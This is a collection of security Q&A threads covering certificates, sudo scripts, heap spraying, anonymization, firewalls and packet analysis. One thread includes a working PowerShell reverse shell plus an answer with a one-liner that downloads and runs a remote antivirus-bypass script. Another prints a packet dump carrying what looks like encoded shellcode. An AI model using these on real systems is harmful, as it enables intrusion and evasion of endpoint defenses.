cfssl sign -ca ca-A.pem -ca-key ca-A-key.pem -config ca-config.json ca-B.csr | cfssljson -bare ca-B-by-A
cfssl sign -ca ca-B.pem -ca-key ca-B-key.pem -config ca-config.json ca-A.csr | cfssljson -bare ca-A-by-B

I've then created a new client certificate, signed with A's private key and the A certificate cross-signed by B:

cfssl gencert -ca=ca-A-by-B.pem -ca-key=ca-A-key.pem -config=ca-config.json child-csr.json | cfssljson -bare child

I've then tried to verify (using openssl verify) the new client certificate with either original A, original B or either of the cross-signed CAs, but can't work out the incantation. I've tried bundling ca-A-by-B.pem and ca-B.pem, and tried bundling the client with ca-A-by-B.pem as an intermediary, but they don't work either.

I think I missing something obvious, or just misunderstanding cross-signing completely. Is this even possible?

These answers might be helpful:

https://stackoverflow.com/a/33365131/1907046
How to properly create and use cross-signed CAs and certificates

Alright, so the idea would be to place the cross-certs into the trust stores of your clients so that during cert validation they can path-build from the CA they don't trust to the one they do.

Your test-scenario is that you have an end-entity cert issued by ca-A, and a client verifier who only trusts ca-B.  You also have a ca-A-by-B cross-cert that you can give to the client so that it can path-build between the two CAs.  I believe the correct openssl command-line incantation to simulate that would be:

-CAfile ca-B.pem so that ca-B is "in the trust store".
-untrusted ca-A-by-B.pem so that the verifier is aware that it can use that cert for path-building, but doesn't consider it a trusted root.
< (cat ca-A.pem child.pem) simulate receiving a cert-bundle containing the end-entity cert and its issuer (ca-A).

all together:

openssl verify -verbose -CAfile ca-B.pem -untrusted ca-A-by-B.pem < (cat ca-A.pem child.pem)

I haven't actually tried this cause I'm too lazy to generate test certs, but let me know if it helps (or if I need to make corrections).


Cascaded Sudo for privilege elevation I intend to use the least privileged user to do a given task. The issue is that it involve a kind of responsibility chain and translate as a sudo chain in my scripts, spreading the overall task in many places.

Sudoer file

"www-data"      ALL = (webadmin) NOPASSWD: /home/webadmin/scripts/git-deploy.sh
"webadmin"      ALL = (root) NOPASSWD: /root/scripts/copy-deploy ""

Details

To make the previous paragraph more tangible:
Some request is sent to Apache.
The worker is running as www-data
Through mod_php, the script /home/webadmin/scripts/git-deploy.sh is launched using

<?php
exec('/'.escapeshellarg($gitRepo))

$gitRepo is feed by the following script :

    $bitBucketUrl=json_decode($request->getContent(),true);

    if(isset($bitBucketUrl['url'])){
        $bitBucketUrl=$bitBucketUrl['url'];
        if(!preg_match('/\.git$/',$bitBucketUrl)){
            $bitBucketUrl.='.git';
        }
    }else{
        $result='bad url';
    }

    if(preg_match('/^git@bitbucket.org:TEAM\/[a-zA-Z0-9\.-]+\.git$/',$bitBucketUrl)){
        exec(escapeshellcmd('sudo -u webadmin /home/webadmin/scripts/git-deploy.sh '.escapeshellarg($bitBucketUrl)),$results);
        $result=$results;
    }else{
        $result=$bitBucketUrl;
    }

Of course, the script /home/webadmin/scripts/git-deploy.sh check $1

#!/bin/bash
valid=^git@bitbucket.org:TEAM/[a-zA-Z0-9-]+\.git$
if [[ $1 =~ $valid  ]]; then
  name=${1#git@bitbucket.org:TEAM/}
  name=${name%.git}
  fullName=/home/webadmin/websites/$name
  if [[ -e $fullName ]] ; then
    echo "$fullName exists, will do a git pull instead"
    echo "cd $fullName && git pull"
  else
    echo "/usr/bin/git clone $1"
  fi
  if [[ -e $fullName/deploy/apache-conf/ ]]; then
    #sudo -u root /root/scripts/copy-deploy
  fi
fi

Note: I know that it is only echoing, this is the test version with dummy users.

Each script is only u+rwx by his owner (700).

Question

Is spreading the scripts in various places playing against security? (Harder to grasp what is going on)
Do you see something else wrong?

First of all, what are you trying to do? You are explaining how you are doing it but not what is your ultimate goal. Consider revising your question to add more detail on this.

That said, for the rest of this answer I'll assume that you're doing some sort of proxying (?) to mirror GIT repositories. Which sounds like a problem already solved, e.g. using git hooks.

Nevertheless, addressing your specific questions in order:

  Is spreading the scripts in various places playing against security ? (Harder to grasp what is going on)

Yes. At the moment you have the following "moving parts":

A PHP script that parses what seems to be the repository URL sent via a HTTP request
A shell script that calls other binaries (git)
All wrapped in sudo
Spread on many servers, as you said

An error in any of the above could result in a system compromise.

Furthermore, a problem might creep up at a later stage: what happens if you find a bug in one copy of the script and forget to replicate it on the other servers? What if git returns an obscure error you can't parse and you end up with a corruption of user data (which is then backed up corrupted)? How are errors reported? Is there a centralised log system and - more importantly - is there someone monitoring it?

  Do you see something else wrong ?

Yes and no. Your PHP script checks if there's a 'url' key in the JSON input, and if there isn't any it sets a 'return' to 'bad value'. Then it continues. This is bad practice: not a bug per se at the moment, but a bug waiting to happen. Rather than continuing, you should stop the program workflow here and return an error.

For example, what happens if in a few months somebody else adds some code like:

/* previous code */
if(preg_match('/^git@bitbucket.org:TEAM\/[a-zA-Z0-9\.-]+\.git$/',$bitBucketUrl)){
    exec(escapeshellcmd('sudo -u webadmin /home/webadmin/scripts/git-deploy.sh '.escapeshellarg($bitBucketUrl)),$results);
    $result=$results;
}else{
    $result=$bitBucketUrl;
}

/* new code */
[...]
exec('sudo -u webadmin /home/webadmin/scripts/new-stuff.sh', $bitBucketURL);

The code I added has two bugs: can you spot them?

One might think that the script new-stuff.sh is executed only if bitBucketURL contains valid data. Instead, it is executed regardless of what happens beforehand as you don't bail out in the else branches.
There's no escapeshellarg

If it took you more than a few seconds to spot the bugs, imagine someone who never saw your code before.

I purposefully omitted the escape from my code example for a reason: you should sanitize your input once and for all and keep using it rather than having to call the escape family of functions every time you need to use the user's input. It's too easy to forget a call to escapeshellargs, especially if it requires more effort (=typing). Instead, try to make the correct use of your code the path of least resistance. For example,

$bitBucketUrl=json_decode($request->getContent(),true);

could become:

$unsafe_user_input=json_decode($request->getContent(),true);
$safe_user_input = escapeshellarg($bitBucketUrl);
[...]
res = do_stuff(safe_user_input);
if (check_error(res))
{
    stop_with_error_message(message);

This way it is obvious what unsafe_user_input and safe_user_input are.

There might be other problems with your approach; the idea of executing code with the least privilege is good, but it's over-engineered here and can have nasty side-effects.


Did a virus like this really ever exist? I know that this world is very evil, and that the most unfathomable things go on around the clock, inside and outside of the "computer world". However, I sometimes really wonder if certain things can really be true. For example, I read this comment today:

you'd be fucked with that virus I saw back in the times. Corruped your data bit by bit, especially the rarely accessed parts. By the time you realized something was wrong, all your backups, even a year back, were already fucked in unknown places. Like changing numbers in spradsheets and databases etc.
Nowadays, such malwae could be much smarter, and leave all the steuctural data intact and update the checksums so really only your data corrupts while the files still open without errors.

Source: https://yro.slashdot.org/comments.pl?sid=17776458&cid=60801150
I don't need anyone to convince me that there are people sick enough in the head to actually waste their vast technical skills and large brain capacity on something so pointlessly evil. However, would somebody really make such a thing, in practical terms? It just sounds like so much work for something so ridiculously sinister.
I can understand something like a virus that makes you play "Russian roulette" with the computer and if you turn it off or "lose" the game, it nukes all your files. I very much believe that such a thing existed and was spread around. But this? Slowly corrupting seldom-accessed data just for the sake of ruining your backups? It seems to not even have the "teach you a lesson" moral of the viruses that killed your active files. It's just downright, pure evil.
Normally, it seems as they are either motivated by money, or by wanting to "teach the stupid lusers a lesson", such as "always back your data up or else this can happen". But this actively goes out of its way to destroy long-term backups in subtle ways, designed to not be noticed until it's too late.
I'll admit it: just reading that gave me the creeps, whether it's made-up nonsense or real. I fear malware and compromises of all kinds every second I'm using my computer, and I wish I didn't know about all these things, and that I never had to read stories or anecdotes like this.

I can't say that this specific virus existed, but it is not surprising at all.
Once the Internet burst on the scene in 1995, people were trying to figure out what to do with all these new tools at their disposal. There were all kinds of hobbyists and tinkerers who would explore every avenue of possibility, simply because they could.
It wasn't so much about trying to be evil, but more about exploring what kind of evil was possible. You ended up with all kinds of malware that did all nature of strange things. Most of what I saw didn't have any specific point but to determine if some idea was feasible. A lot of it was, indeed, quite clever.
And because there was no cost to create and experiment, and the Internet made a perfect, anonymous testing ground, there were a lot of tinkerers.
So, yes, the example virus is indeed possible and yes, someone may have spent months tinkering with it to see what would happen. But the point was likely not to "waste their vast technical skills and large brain capacity on something so pointlessly evil" but to enhance their skills and get smarter. Evil was just a byproduct.


Heap spray against 64-bit processes - possible? Are heap spray exploits possible, if the process we're attacking is a 64-bit process?

Naively, it seems like the 64-bit address makes it difficult to mount a heap spray: to fill all (or a significant fraction) of virtual memory, you'd need to spray an absolutely ridiculous amount of data into the heap.  I realize that on 64-bit platforms, the virtual memory address space is really 48 bits, not 64 bits, but that still seems to be more than enough to make filling the entire virtual address space unlikely.

Therefore, naively, it seems like we might not need to worry about heap spray attacks against 64-bit processes.  But is this conclusion correct?  Are there clever ways of doing a heap spray even against a 64-bit process?

(Assume that the target process is using ASLR, as is standard these days.)

First, a small clarification: Classic heap sprays never needed to fill the entire virtual address anyway.  They only needed to fill enough of memory to cover the range of uncertainty you have for the address of whether the shellcode will be.  Thus, 100MB or so were enough.

The picture changed a lot with the advent of DEP, because one can no longer spray shellcode; now one must spray a ROP stack (for instance).  You might think that ASLR also made heap spraying harder, but VirtualAlloc allocates at deterministic addresses even if ASLR is enabled (maybe it still does), which made predicting the address a lot easier.  Finally, the 64-bit address space increased the amount of variability available to ASLR, which has the potential to make some heap spray attacks harder.

The biggest change is found in Windows 8, which made two major changes that will likely make heap sprays more challenging.  First, HiASLR enables greater entropy for ASLR.  On 64-bit platforms, HiASLR introduces a 1TB range of possibilities for the base of the heap.  This makes it harder to predict the address of something on the heap.  Second, Windows 8 makes allocations non-deterministic: when you allocate a object using the default allocator, the position that is used is randomized (it is no longer deterministic), introducing fine-grained randomization at the individual object level.  Object-by-object randomization is not used for everything (only for the LFH allocator, which I think is only used for heap objects that are at most 16KB in size), but it will add an additional challenge.

That said, heap spraying may still be possible in some cases.  The situation where heap spraying becomes useful is where we have partial knowledge of a pointer value (or where some object will be in memory), but not exact knowledge.  In that situation, a heap spray can still be a useful technique to make the exploit reliable despite the lack of perfect predictability in that address.

For instance, one example is Ivan Fratric's exploit of 64-bit IE11, where he used a heap spray to make the exploit reliable.  In that vulnerability, the attacker could trigger a write to address A+256MB, where A is the address of some heap object.  Due to ASLR, we can't predict the value of A, and due to the 64-bit heap, we can't spray enough to fill all of the heap -- but Ivan noticed that in this case it is enough to spray around 256MB of data into the heap.  This makes it likely that the address of a random heap object, plus 256MB, will land into the sprayed region.

So, as Ivan Frartic explains, heap spraying can still be useful for the attacker if "we can make a vulnerable application dereference memory at a valid heap address + a large offset" (for instance, imagine the buggy code do_something_with(a[i]), where i might be a offset that points past the end of the array).  He gives another example of an earlier vulnerability that also had this form, to illustrate that this case is common enough.

Finally, 32-bit processes might be used in cases you wouldn't expect.  For instance, even 64-bit IE on 64-bit platforms will use 32-bit child processes for each new tab, on Windows 8.1.  Who knew?

Bottom line: No, we can't say that there's no need to worry about heap sprays against 64-bit processes.  That was indeed too naive.


Using the same password to encrypt and to authenticate other actions Saved on device, I have TLS certificate private key, which I would like to encrypt with AES256; password will be simple PIN.

I would also like to use this same PIN as a secondary protection for some user actions. The salt and hash of this PIN will be saved on server. PIN will also serve as a secondary protection in authentication process.

What is your opinion on using this PIN to encrypt private key and also use it in other (authentication) ways? Since I want to keep it simple, I'd like to stick with one key if possible.

My thought is to use some sort of KDF (PBKDF2HMAC?) to stretch the simple PIN as the result password, but I am not sure if it is enough.

Edit: I should have mentioned that I am performing mutual certificate authentication, there goes the need for TLS certificate private key as mentioned in discussion below.

This answer is based on the discussion between Schroeder and wtdmn in the comments.  Yes, the client's private key (corresponding to the client's public key in the client's certificate) will need to be decrypted in order for the client to establish a TLS connection with the server, using the client's certificate.  But, once the client's private key is decrypted, why not use the client's certificate (along with the decrypted client's private key) to authenticate the client?  See https://medium.com/@sevcsik/authentication-using-https-client-certificates-3c9d270e8326 for a good write-up of how authentication using client certificates works.

Then, the PIN to decrypt the client's private key is used only once - to decrypt the private key at the beginning of the process.  So, the flow would be:

run program / enter PIN to decrypt certificate private key / start TLS between c-s / validate certificates etc. / authenticate using client certificate / authentication complete


How to properly anonymize data, if hashing isn't enough? Today there are news on Bruce Schneier's blog and ArsTechnica about how NY City released information about Cab/Taxi drivers, their trips, and so on.

Basically, sensitive information was simply MD5 hashed. Since the input was limited (3 numbers, 3 letters, at most), it was easy to make some brute-force attack: generate all possible combinations and then do a look-back.

Considering the nature of the information (very small input, to easy to generate all combinations), how could this data be properly anonymized?

Some approaches that have occurred to me::

Security through obscurity (use a "secret" number of iterations) is just security through obscurity.
Append a general, unique salt, would increase the brute-force by 0%: simple append the salt and done.
Appending a unique salt per user, would increase the brute-force, but not too much: take the salt and calculate the 3 digit 3 letters for each salt.

What could be done?

You can use tokenization. Meaning you create a seperate database with randomly generated IDs mapping to 3 numbers and 3 letters. You then insert the token instead of the real identity.

Another option, if you don't need to map the data back, you can use, for instance, a  HMAC (hashing algorithm) with an long random generated secret.  Without the secret you can't bruteforce the original IDs, even when they even only consist of 1 single character.

Using a HMAC is actually the correct way of using a "secret salt" (a salt is actually never considered secret in cryptohraphy).


email on hosting company's site hacked? I have a friend who's has a site hosted by a company in the states.
They think that someone has gotten access to their email account because any requests for support submitted via their website automatically ends up in their deleted email folder.

They also receive what they feel are bogus inquiries for their products.
I know we can't control bogus messages from coming in ... but what about messages automatically ending up in their deleted mailbox?  They are really not computer literate so I just want to make sure that there's nothing they might be doing to cause this problem.  In their defense, they've had this site up for over 6 years now and this has only just started to happen.

I found an interesting article here :  Email hacking myth

which has given me some things to ask them to check.
However, if their account has been hacked... then that means the hosting company's site has been hacked too... you have to enter in a password to get into their customer portal, and then enter your email password to see your inbox.

I'm just wondering what I can do to test this out.
They've apparently talked with the folks at the hosting company and were told to change their browser from IE to Firefox.  And they've since changed their passwords.
But what else can I check?
I'm going to check later on today what technologies they used to create their site...

Thanks.

Changing browser to get your security fixed  is one pile of male bovine feces.

You say that you changed passwords, note that passwords should be changed at least every 90 days. A password history should be kept and passwords should be at least 8 characters, contain letters, signs, numbers and at least one upper and lower case letter. If someone leaves the company with access to shared accounts, change their passwords.

If the site has been up for 6 years you must review your patch management and see if you rolled at least all known security patches for the application, operating system, software running on the machine and programming languages used.

If the application is custom built it is recommended to get a pentest before starting the use of the app in production.

Make sure to review all logs especially the ones containing successful logins.


Security Engineering Potential Threat? I've been working on some security engineering problems and there is no solution provided so if someone can clarify, would be great.

From the point of view of security engineering, which is not a potential threat?

Users denying that they modified electronic assets in the organization.
An earthquake.
A person disclosing secrets to third parties, after such person has signed a non-disclosure
agreement intended to protect these secrets.
A person accidentally disconnecting the electricity of a computer server.
Users not following proper procedures to update electronic assets in the organization

Now for this question I am getting #1, simply because I wouldn't classify a denial of modified assets a threat, that would just fall in the Integrity portion of security properties.

Can someone clarify that this is indeed #1?

Thank you to everyone.

Security is so fun!
The correct answer is #1 because it is the only scenario that doesn't have an immediate impact on the security of assets on your organization. #1 doesn't do anything!

2) can compromise the physical security of your building or office, w/e

3) is the direct disclosure of sensitive data, the very definition of an internal security breach

4) can significantly disrupt operations, depending on what the server is used for and may create blacked out periods where you do not know what happened

5) can result in untrusted or outright malicious software installations or introduce additional weaknesses


Windows firewall settings to receive UDP and pings I use a windows 10 to receive UDP packets or pings from another computer which runs Win/Mac/Linux.

I default, I turn off the firewall to receive pings or packets.

I prefer not to turn off the firewall but having the previous functionality.

What settings should I use in the firewall?

You said UDP or Ping so I am only going to show how to enable inbound ping.

First you need to open Windows Firewall with Advanced Security.

Next find the rule: File and Printer Sharing (Echo Request - ICMPv4-In) (plus the others for IPv6)

Enable this rule.

You can see more here: https://kb.iu.edu/d/aopy or an alternate solution with custom rules from Microsoft: https://technet.microsoft.com/en-us/library/cc749323(v=ws.10).aspx


Amazon Echo/Dot on your network I have been tasked with coming up with if we should or should not allow Amazon Echo/Dot devices on our network.

Below is the reasons I have come up with so far. This is still the rough list.

The amazon Echo/Dot cannot be managed or audited
As an IOT device, it could be susceptible to hacking
Since the device is tied to an Amazon account, always listening, and unable to distinguish voices, someone could order something and there would be no recourse
The microphone is very sensitive and there is no way to adjust the sensitivity, this opening up the echo to abuse
The device is always listening, and recording which does not provide a reasonable level of privacy as detailed in our Acceptable Use Policy
The device is always listening, recording and sending data to Amazon. This data can be subpoenaed
No audible notification when it is listening and recording
It increases the attack surface of our network
Since it has the ability to connect to many other IOT devices, it becomes a conduit from less secure devices

Feel free to add any thoughts of what I missed as well.

I do not believe there is any reason we should allow them on our network. Has anyone's company addressed this issue, either through policy or any other ways?

Your list is a great start! I'd argue enough risk assessment to justify a privacy/security denial request in most organizations. In addition: Are you looking at one country or multiple country's laws? How about Network segmentation? Privacy violations? Controls to insure confidential or company secrets from getting leaked? Even simple data such as products ordered to your company could reveal insights to competitors.


Bypass AMSI Windows 10 I'm trying to run a powershell reverse shell on windows 10. Anyway everytime it is blocked by Wndows Defender. How can I bypass it?

In a file I store the payload

$client = New-Object System.Net.Sockets.TCPClient('192.168.1.54',9999);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{;
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex $data 2>&1 | Out-String );
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()
};
$client.Close();

then I use xencrypt to obfuscate the code but when I
run powershell  -NoP -NonI -W Hidden -Exec Bypass .\revshell.ps1

I get

Questo script include contenuto dannoso ed è stato bloccato dal software antivirus.
In riga:18 car:1
+ IEX($piifnga)
+ ~~~~~~~~~~~~~
    + CategoryInfo          : ParserError: (:) [Invoke-Expression], ParseException
    + FullyQualifiedErrorId : ScriptContainedMaliciousContent,Microsoft.PowerShell.Commands.InvokeExpressionCommand

QUESTION:  is  there a way to bypass this check?

open a powershell
list execution policies with Get-ExecutionPolicy -List
if LocalMachine is Restricted and you are not admin...
...you can change the policy locally with Set-ExecutionPolicy -Scope Process Unrestricted this allow you to execute .ps script stored on the machine...
...anyway still you can't run malicious content. So bypass AMSI with

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/aloksaurabh/OffenPowerSh/master/Bypass/Invoke-AlokS-AvBypass.ps1'); Invoke-AlokS-AvBypass

Now whatever script you execute the ScriptContainedMaliciousContent message it is not longer shown


How to trace SMB connection to what process initiated the connection? I have a situation where I see a bunch of SMB connections initiated from a client to a server every night and it triggers an SMB brute-force alert on my Firewall.

I installed Sysmon on the server to monitor what initiates the connection, but the PID is 4 which is the System process in Windows.

I'm looking for a way to monitor what has initiated this smb connection. Maybe it's a logon script? Or some different job?

How can I identify which process / job requested this SMB connection?

Edit:
To clarify, the event id is 3 for network connection and on this event id the initiating PID is 4

Ideally if trying to figure out what's making the connection there would be some monitoring (eg. procmon / packet capture on the client side. The server PID will always be the same since that's the server process and it's not initiating the connection, simply serving a response.

If it's not possible to monitor the client and the monitoring must be done on the server then there are a few methods that could be employed:

Network packet capture, which would show what kind of SMB traffic was hitting which ports
File system auditing, which would show if there were files being accessed at the same time
Process monitoring, which will show everything the system is doing - very verbose

Since it's the firewall triggering the alert it's likely network traffic, so a packet capture would be a good place to start. That might lead you to do something else in terms of monitoring.

Note also that a personal firewall / IDS might also help. If that's what is meant by "firewall" above then see if there are some verbose logs in there to tell what's going on.


Is a "security measure" that doesn't provide a security benefit actually harmful? If a security measure is implemented that doesn't provide any additional security benefit, can it be considered harmful?

As an example, consider a login page where the user is asked to enter their username, and then their password twice (for "security reasons").

There are two arguments here:

If it gives the user peace of mind and isn't decreasing security, then what's the harm?
If there's no actual benefit, the additional "peace of mind" given to the user is harmful because it gives them a greater sense of security than is valid.

I've frequently argued the second point, but the first opinion seems to be more common - particularly in the business community.

What do you think? Should redundant security measures be actively removed or is there really no harm in keeping them?

Note: the example isn't an actual case

Any feature that "doesn't provide any additional [...] benefit" should be removed, security-related or otherwise.  Besides increasing complexity and friction, it can introduce additional attack surface and end up making you less secure.


High concentration of UDP traffic, good or bad? Should a network have a high concentration of UDP traffic compared to TCP traffic bad for a network especially in the context of network security?

I'm looking at my organization's network protocol usage breakdown and I noticed that the UDP is higher than TCP. I understand that UDP is connectionless and can be caused by multiplayer games, VoIP, media streaming, etc. But however, my organization doesn't seem to have any of the above.

Could the high UDP concentrations meant that the network is susceptible to attacks such as DDoS, probing, etc?

Opinions highly appreciated. Thank you in advance.

An approach to consider that would help to define if the traffic is malicious or not.

Stage 1, traffic capture.

Tool Choice:
To do anything sensible is going to require raw packet output so use your tool of choice (wireshark / tcpdump are two examples). Personally I would use tcpdump and if needed load the traffic capture in to wireshark for a nice graphical view of the world.

Config:
You will need to configure the tool to capture the entire packet - by default tcpdump only captures 68 bytes of data. I would also capture the hexadecimal output by using the -x flag. Doing so will allow me to examine the individual bits (very important when doing a deep dive on evil packets).

As you are interested in UDP traffic you can limit the packet capture to UDP only traffic. This is done by matching the value of 17 (which is for UDP) in the 9th offset of the IP header. Or you can use the tcpdump inbuilt macro that does this for you by calling the udp flag option.

Execute:
An example command line for tcpdump could be tcpdump udp -s 0 -x -w /udp_traffic

This would capture the entire IP frame with hexadecimal output for UDP traffic only and write this to a file called udp_traffic

Confirm: To confirm that this works you can then run tcpdump -r /udp_traffic
Which would give you something like:

09:06:16.982995 IP 192.168.188.128.63793 > 192.168.188.1.42313: UDP, length 0
09:06:16.986062 IP 192.168.188.128.63793 > 192.168.188.1.623: UDP, length 0
09:06:16.986274 IP 192.168.188.128.63793 > 192.168.188.1.30303: UDP, length 0

Stage 2, Analysis.

Two real options here, use an IDS/IPS solution and replay your traffic to see what alerts this raises and then chase down each alert to understand if it is a false-positive or not. This approach is more scientific and is based on known bad traffic. This would be quicker if the IDS/IPS has already been tuned for the network and the traffic matches known rules.

Or you can use a more gut-feel approach using your knowledge of the network and services that are running to review the traffic. This is more of an art than a science, but has advantages, peoples gut feel is something you cant programme a piece of code to replicate and if you know your network things will stick out.

Both approaches will result in the breakdown of traffic in to the following groups:

Type of traffic:

Breakdown by port
Breakdown by source
Breakdown by destination
Breakdown by port

This will enable you to deal with large amounts of traffic in more manageable chunks and look for patterns.

In our example from earlier -

09:06:16.982995 IP 192.168.188.128.63793 > 192.168.188.1.42313: UDP, length 0
09:06:16.986062 IP 192.168.188.128.63793 > 192.168.188.1.623: UDP, length 0
09:06:16.986274 IP 192.168.188.128.63793 > 192.168.188.1.30303: UDP, length 0

We can see that the packets are all from the 192.168.188.128 network and from port 63793 and heading to 192.168.188.1 on various ports. This is classic scanning traffic, in this case an nmap scan for udp ports.

Traffic content:

If we do find traffic that we do not like the look of, then we can take a look at the hexadecimal output to dissect the packet at a much deeper level. If we take

09:42:15.206332 IP 192.168.188.128.63793 > 192.168.188.1.52503: UDP, length 0

and look at the hex output we see:

0x0000:  4500 001c 43d7 0000 2a11 5327 c0a8 bc80
0x0010:  c0a8 bc01 f931 cd17 0008 3fc1

Points of interest would be the first offset (counting from zero), which shows 4 for IPv4. Offset nine shows 11 (remember to convert from hex to decimal) so that is protocol 17, or UDP. Then we have source address at offset 12 - c0a8 bc80 (192.168.188.128) and destination address at offset 16 -  c0a8 bc01 (192.168.188.1).

Stage 3, Identify and review odd traffic:

When you have identified any specific traffic that is of interest then it is a combination of research (google) and deep packet analysis.

To give a feel, this type of UDP packet would give me concern and warrant further investigation:

10:30:36.313999 IP 192.168.188.128.50056 > 192.168.188.1.26000: UDP, length 2201
        0x0000:  4500 05dc 7d9c 2000 4011 dda1 c0a8 bc80
        0x0010:  c0a8 bc01 c388 6590 08a1 0c07 425a 7454
        0x0020:  3349 3665 5747 6742 4642 4177 7071 4156
        0x0030:  6c5a 7271 7975 5579 5546 6375 4b76 6c4f
        0x0040:  5762 3853 4578 6757 3766 5837 744f 7572
        0x0050:  766e 746b 4339 6c74 6f6c 6156 4264 3072
        0x0060:  566c 6739 7355 4a37 3550 3848 7a70 4d6f
        0x0070:  6f4b 6e77 7762 4b47 6c6c 4f63 3846 7372
        0x0080:  7a7a 4879 7763 6330 4c77 3172 7048 5941
        0x0090:  4177 5676 727a 6f52 4b32 566c 5a6b 5242
        0x00a0:  696b 4976 3470 547a 3467 6f74 644b 376c
        0x00b0:  3468 3443 5676 4758 4535 6857 6b41 657a
        0x00c0:  4779 7731 654d 314a 5976 7265 3974 6e41
        0x00d0:  305a 4358 6f5a 517a 4344 6378 5634 476d
        0x00e0:  7147 6979 3653 6a69 4331 486b 734f 7844
        0x00f0:  4175 6467 7858 636f 5550 386c 6332 5a6c
        0x0100:  3237 3067 5552 514b 6345 4836 7073 516f
        0x0110:  7a52 6631 315a 6365 3563 4f76 4275 4c4a
        0x0120:  6f74 5032 5057 704f 6f5a 4d58 4369 7666
        0x0130:  3847 6733 5555 5036 6e7a 4c6b 3856 4573
        0x0140:  6b59 646b 6b62 6733 5036 6c4c 534c 3248
        0x0150:  4156 3037 656b 7433 3148 6578 6968 547a
        0x0160:  436f 5635 5957 7165 6d66 4565 3563 494d
        0x0170:  6570 7947 4174 5559 4c57 5a59 6d63 3671
        0x0180:  4333 4a4e 7269 4778 5968 6b6b 4155 7a39
        0x0190:  6c53 5772 5573 5644 684f 3456 3237 5267
        0x01a0:  634a 326c 4558 6e5a 6b5a 5255 486f 6436
        0x01b0:  6878 4770 5053 4178 426a 6651 6c53 4e70
        0x01c0:  5970 646b 5539 735a 3254 737a 6964 4a46
        0x01d0:  4b4c 504e 7244 7451 7a41 4945 3233 5951
        0x01e0:  586d 4866 7a54 334c 7947 4145 5041 6a65
        0x01f0:  4850 4665 3168 7446 4639 4172 4731 526e
        0x0200:  324d 5151 4641 737a 4f53 4556 7332 5a38
        0x0210:  614d 735a 3978 444b 4565 5054 7459 5663
        0x0220:  7837 3059 3666 3871 754e 3377 7252 3659
        0x0230:  344c 586c 5232 7265 5a6f 416b 785a 6961
        0x0240:  5156 3973 3267 6279 5738 6272 7663 5463
        0x0250:  6b62 4e70 5a64 4763 4772 4262 4551 5254
        0x0260:  4757 4d76 4e51 414a 3868 5063 7267 304c
        0x0270:  4b78 784c 6b49 5563 7443 5a36 526b 745a
        0x0280:  4c4e 4c68 7175 4a54 3064 626e 4562 5157
        0x0290:  3068 4730 6e47 3650 5468 3467 4e72 4a6b
        0x02a0:  5a51 5771 4a38 5747 4453 6e64 3971 4650
        0x02b0:  4263 7358 6e46 5173 3057 5a57 6f65 7168
        0x02c0:  7a67 5859 6e74 4138 7457 3672 646b 344a
        0x02d0:  5958 5363 7231 6c6c 696e 6a38 704b 6146
        0x02e0:  786d 4f5a 6c57 4d50 4232 3459 7130 6a4d
        0x02f0:  5278 7330 3352 336f 6742 5661 3245 7879
        0x0300:  4e43 444b 4d4b 424f 7441 6a37 6e51 6238
        0x0310:  4e78 5053 6f39 5a64 3632 3879 6e54 5042
        0x0320:  7736 5258 4e42 3557 704d 6b48 7974 5050
        0x0330:  4777 4e63 3269 7672 7672 4266 697a 4c67
        0x0340:  4568 554a 4636 614b 6a56 7068 4e33 4a4c
        0x0350:  5067 7254 6a67 674c 3337 6574 5934 6836
        0x0360:  394c 354e 3261 7456 7270 4f69 6531 3452
        0x0370:  7568 6835 5374 756e 5676 6f4f 767a 6d6b
        0x0380:  6679 6846 4743 3861 3543 6538 454e 4c4c
        0x0390:  4745 7630 5247 6675 5333 3070 3576 4b62
        0x03a0:  5932 3562 6a38 4752 337a 4973 5068 3867
        0x03b0:  364a 6159 3444 7149 5372 4b63 5547 6f6e
        0x03c0:  4e36 4845 6e43 6534 4b48 5568 5639 4b47
        0x03d0:  3835 5862 5a32 6962 3157 7431 4344 3442
        0x03e0:  496e 644e 445a 6851 6870 4373 6951 5776
        0x03f0:  4438 5874 6578 4c38 4d4a 694c 3368 536c
        0x0400:  664e 3369 75b7 3f07 102d 47b3 10f8 7b04
        0x0410:  a81c 4873 7672 46b0 b823 f58d 4b13 d477
        0x0420:  6692 2ae2 2c1a d598 7c22 d624 ba3f 40b2
        0x0430:  0537 08e0 0c35 900d b7bf 4f43 85e3 3afc
        0x0440:  9671 28e1 7527 a91d 4e99 9f4a 12d1 f97e
        0x0450:  18fd b13c 3d42 9b79 7e77 7b4f 89e1 7970
        0x0460:  730b f8b5 bab8 1d3f 2584 e340 bea8 03d0
        0x0470:  c0d6 9614 b067 98b7 9942 bb97 4bb4 9bbf
        0x0480:  3bd4 88f5 4e0c 7546 3d7d 7c09 e07a 69f9
        0x0490:  2c90 7149 a92f 0415 911c 7224 9f74 7827
        0x04a0:  38d5 7637 b1b2 8ceb 6693 432d 7f02 e234
        0x04b0:  b68d 48b3 791b fc7f 3c75 35b9 7141 7447
        0x04c0:  7805 7d20 eb0d 9272 4a83 e001 e10a d2fd
        0x04d0:  734f 700d 9b7c 14b5 4390 bad3 c1f9 7630
        0x04e0:  f5be bf2d 31e3 351d 81fd 7b39 fc27 7e37
        0x04f0:  80e2 2c34 b0b1 1567 7a0c 4b98 3da8 4940
        0x0500:  bb92 b33f 0425 b71c 8d97 4741 b4f8 b8b9
        0x0510:  7705 86d6 4eb6 9193 46d4 422f a93c 6696
        0x0520:  d5b2 2499 484a 9f56 5458 3633 3057 5458
        0x0530:  3633 3856 5848 3439 4848 4850 5658 3541
        0x0540:  4151 5150 5658 3559 5959 5950 3559 5959
        0x0550:  4435 4b4b 5941 5054 5458 3633 3854 4444
        0x0560:  4e56 4444 5834 5a34 4136 3338 3631 3831
        0x0570:  3649 4949 4949 4949 4949 4949 515a 5654
        0x0580:  5833 3056 5834 4150 3041 3348 4830 4130
        0x0590:  3041 4241 4142 5441 4151 3241 4232 4242
        0x05a0:  3042 4258 5038 4143 4a4a 494b 4c4a 484c
        0x05b0:  4945 5045 5045 5045 304d 594b 5546 514e
        0x05c0:  3245 344c 4b46 3250 304c 4b46 3244 4c4c
        0x05d0:  4b51 4242 344c 4b43 4251 3844

